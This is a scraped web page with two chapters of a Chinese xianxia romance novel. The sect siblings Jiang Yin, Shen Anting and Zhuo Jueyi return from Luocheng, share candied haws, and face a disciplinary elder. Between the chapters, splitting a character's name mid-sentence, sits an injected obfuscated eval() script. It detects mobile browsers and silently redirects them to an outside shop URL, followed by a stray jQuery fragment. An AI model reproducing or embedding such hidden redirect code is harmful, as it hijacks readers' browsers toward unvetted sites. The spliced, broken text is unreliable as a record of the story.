江音躺在床上迷茫望向虚空,似乎还未从沈岸听的记忆中回过神来。
他并未将后面的记忆传给她,江音却对祭森岭窥心时的所见历历在目。
沈岸听的父母将他放出院子带到沈家长老面前,殿堂之中是家族长老们的打量。
他们窃窃私语,沈岸听似乎知道他们要做什么,任由着仆人将他控制得无法动弹。
沈岸听的父亲手拿一把锋利的匕首,狠狠刺向他的心脏,“别怪我们,只要有你的脑袋和心脏,我们沈家就能复兴了!”他的脸上带着疯狂,几近扭曲。
少年沈岸听的脸上溅落了温热的鲜血,额头因极力隐忍而青筋暴起,从喉间挤出低冷铿锵的话语。
“你们给的血肉,想要就还给你们,往后两不相欠。”
沈岸听意识模糊间感受到身边带着威压的气浪翻涌,承受不住直接昏死过去,醒来时,他便到了长黎宗,据说是被敬怀仙尊所救,还成为了他座下第三位弟子......
江音这夜思绪连绵,无法入眠,直至黎明到来。
第二日早。听月楼因为查封暂停营业,曾经繁闹的地方现在萧条无人,倒是方便阳啸泽等人出入。
高猎也来了,笑呵呵凑到沈岸听身前道:“大人果真实力非凡,洛城的一些居民都找到了自家丢失的孩子,我的儿子也回来了,那些修士真不是人,凡人都抓......”
沈岸听抬眼扫了眼来的人,一些脸上有咒文,一些则是与常人无异。他对喋喋不休的高猎道:“你其实是魔吧?不光如此,洛城中大多都是一些藏匿咒文的魔。”
高猎笑容一僵,不知作何反应,慌张解释道:“大人,我们没有魔息,也从未伤过人,只想求得安稳日子。”
沈岸听打断他,抬手时掌心出现一些符箓,“拿着。此物能更好地隐匿咒文。”
高猎闻言垂下的头缓缓抬起,颤抖着伸出手,嘴唇嗫嚅,“谢谢大人,您的恩情我们永生难忘。”
沈岸听这边已经解决完,他走到江音身边顺着她的视线看去,卓决一正和人交谈,时不时开怀大笑起来。
江音在凳子上转了一圈,打着哈欠懒懒喊他:“三师兄。”
卓决一站在门口扬眉冲着阳啸泽招手喊道:“下次见面定找你讨教一番!”
沈岸听心里啧了一声,他怎么话那么多?小师妹都等得不耐烦了。
等卓决一转头,就看见身后两人阴恻恻的脸。
江音道:“真奇怪,二师兄脾气超暴,人缘竟然超好。”
卓决一皮笑肉不笑,一字一顿道:“我、脾、气、明、明、超、好!”说罢眼神示意沈岸听,我说得对不对?
沈岸听抿了口清茶,漠然扫他一眼,仿佛在说:“小师妹说你就受着呗。”
卓决一咬牙切齿,狠狠看着这两人:他们绝对是一伙的!
当下事情已经解决,几人打算回宗门。
卓决一看看几人,又看看身后,疑惑道:“小师妹你似乎有点不厚道啊,把你那个公主朋友都忘了。”
江音噢了声,道:“她要回京城解决一些事情,过几日自行回宗。”
卓决一嘀咕道:“咱们宗门什么时候来了个这么有背景的人。”抬头便见江音和沈岸听走了好远,“忘记你们的师兄更不厚道了!”
昨日听月楼风波,传播开来,走在路上便能听见沸沸扬扬的讨论,大多是对听月楼抓上一些魔族人来的愤懑。
“妈的,这听月楼真不是个东西,竟然找一些魔族人来楼里。”
“一想到接触的是魔,我浑身都起鸡皮疙瘩。”
“亏我还在里面消费那么多钱......”
卓决一听着不免皱眉,追上走在前面的两人,“明明是听月楼那些人做了不正当的事,那些人最在意的反倒是里面有魔族人。”
沈岸听道:“人界的人都认为魔族是无恶不赦的异类,因为个别刻板印象,又或是因为他们与人脸上不同的咒文。”
卓决一有些愤懑:“有些魔也没有对人造成什么威胁。”......
江音并没有参与他们的讨论,她的注意力被街道上的叫卖声所吸引。
“卖糖葫芦咯,五文钱一串。”商贩拿着糖葫芦把子在人群中穿梭叫卖。
江音抬头望向稻草中插着的又红又圆的糖葫芦,亮晶晶的格外诱人。
她跑到欲走的糖葫芦商贩面前拦住他,脆生生道:“我要一串!”说着从身上掏出铜板,数了数正好五枚。
商贩接过铜板,笑容和蔼地挑了一串大大的糖葫芦递在江音手边,“小姑娘拿好咯。”
江音点点头接过,正要去追上两人,却发现沈岸听正靠在街边的墙角等她。
手中的糖葫芦散发着甜腻的香味,江音将它递到沈岸听身前,“三师兄,这是我请你的哦。”
沈岸听露出一个惊讶的表情,撑起身眼尾轻勾,笑道:“我现在才不会吃这种东西。”
江音佯装了然点点头,又颇为苦恼道:“可我怎么听说沈师兄因为吃掉小孩的糖葫芦而被师尊......”
她话还没说完便被沈岸听捂住嘴巴,那双极黑的眼泛起笑意看她,“师妹定是听错了。”
“好啊,我说你们躲在后面干嘛,原来是背着我吃独食!”
发现师弟师妹不见的卓决一气冲冲指着江音手中的糖葫芦,捂着心脏一脸伤心,“哎,师弟师妹大了,好东西都不与师兄分享。”
江音笑得一脸天真,“可是二师兄,我本来就与你不亲呀。”
卓决一深感扎心。
沈岸听凉凉地看着他,“你不会自己买?”
卓决一冲他真诚眨眼,“师弟,你知道的!剑修很穷。”
沈岸听耸肩,叹了口气缓缓道:“那可能我是假剑修吧,不过你这个真剑修为何打不过我?”
卓决一握紧拳头,脸上扬起一个没有温度的笑:“这不经意暴露自己有钱又有实力,还嘴毒的人是谁呀?原来是我师弟呢。”
江音噗嗤轻笑出声。
最后卓决一扛着糖葫芦把子一脸死亡,“倒也不必这么关爱师兄。”
江音咬上一口糖葫芦,满足地眯起眼。
沈岸听就偏头静静注视着她,江音身着浅绿色的罗裙,衣襟袖口处都刺有金线,在光下闪烁微芒。
“三师兄怎么不吃?”少女偏头,水润的眼明亮,唇上因染上糖渍红润透亮,她道:“我盯着你,快吃!”
沈岸听见她突然变得凶巴巴,眼底染上笑意,应声照做。他轻咬一口糖葫芦,嘴里漫上甜意,他移开视线,眼皮微垂给出评价,“很甜。”
--
长黎宗-外门
江音和庄念
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772729|209949||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
薇已经多日缺课,洛歇看见江音留的字条后,咬着牙东奔西跑地帮她代课,为此还打扮成女装模样。
结果今日遇上同样看见字条帮江音代课的言宿,两人在点名叫到江音时齐声回答,大眼瞪小眼,眼瞪无数眼,然后就被抓包并且带到了戒律堂问话。
江音回到外门时还不知发生了什么,只觉今日打量她的视线格外灼热,她都这么低调行事了,怎么还会这样看她?
“江音。”阿宁看见她小跑过来,喘着气道:“言……言宿被带到你们宗的戒律堂……问话了。”
“还有你那个长黎宗消息网的朋友。”
江音心中疑惑,跟着阿宁来到戒律堂,就见两个跪在地上、身着罗裙、头扎双螺髻的“少女”。
戒律堂的大长老钟焱看见江音,沉冷的目光落在走来的江音身上,“原以为你去外门是真心想要修炼,没想到只是方便出宗的借口!”
话毕一股压迫感向她袭来,风浪掀起她头上的红绫,迫使她跪下。
江音垂着眼,敛住眼中杀意。
向她覆盖的威压不减,仿佛要将她碾入地底,膝盖疼痛到发麻,让她难以控制心中的煞气。
杀吗?
还未等她做出反应,江音的周身忽然散出绿光,一道屏障破出。
沈岸听和卓决一本在前往师尊的路上,沈岸听似是有所感应,迅速掐了个诀前往戒律堂。
“速来戒律堂。”他轻飘飘的话还落在空中。
卓决一还不知发生何事,一脸懵地愣在原地,“喂!好歹说清楚!”没人应答他,他骂骂咧咧唤剑,随后御剑往戒律堂。
戒律堂此刻围了不少看热闹的弟子。
“好个江音,如今竟是不知悔改!”钟焱见江音的屏障抵了他的威压,顿觉失了威严,怒不可遏道,“你既如此,那便...”
“慢着。”沈岸听一袭白衣凌空而下,对长老行了个礼,“弟子沈岸听有罪。”
钟焱从怒意中不解看向他,“你犯了何事?”毕竟在他的印象中这位剑修天才除性子孤傲些,平日倒是并未犯过错。
沈岸听声音清冽,“弟子不喜小师妹,因此想将她带回凡间,谁成想她运气好,遇见二师兄,将她带回宗门。”
他看了眼地上跪着的两个江音打扮的男子,“不想江音有两个这般要好的朋友,发觉她不见以后竟帮她代课。”
“这...”在场的人听见沈岸听这般说辞纷纷议论起来。
“没想到沈师兄竟是这样的人。”
“不是说江音人缘不好,还有人给她代课做到这地步,怎么做到的?”
“是谁说得沈师兄很小师妹只是关系不好?这分明是纯恨啊。”
“亏江音还来打探沈师兄的事情,想要了解他,沈师兄却对她这样,真是太过分了。”人群中腊月为江音鸣不平起来,“沈师兄我要脱粉你了。”
沈岸听听见这话眉梢轻挑,来这一趟不亏。
钟焱沉声起怒,散出的威压让台下哄闹的弟子噤声。
他委实没有想到这位宗门的骄傲之子会做出这等事。
“此事皆因弟子而起,弟子一人做事一人当。”沈岸听规矩行礼,从容冷静。
江音不想她的错连累他人受罚,刚想开口,便发现喉咙中发不出声,她杏眼微动,疑惑睁大眸子去看沈岸听。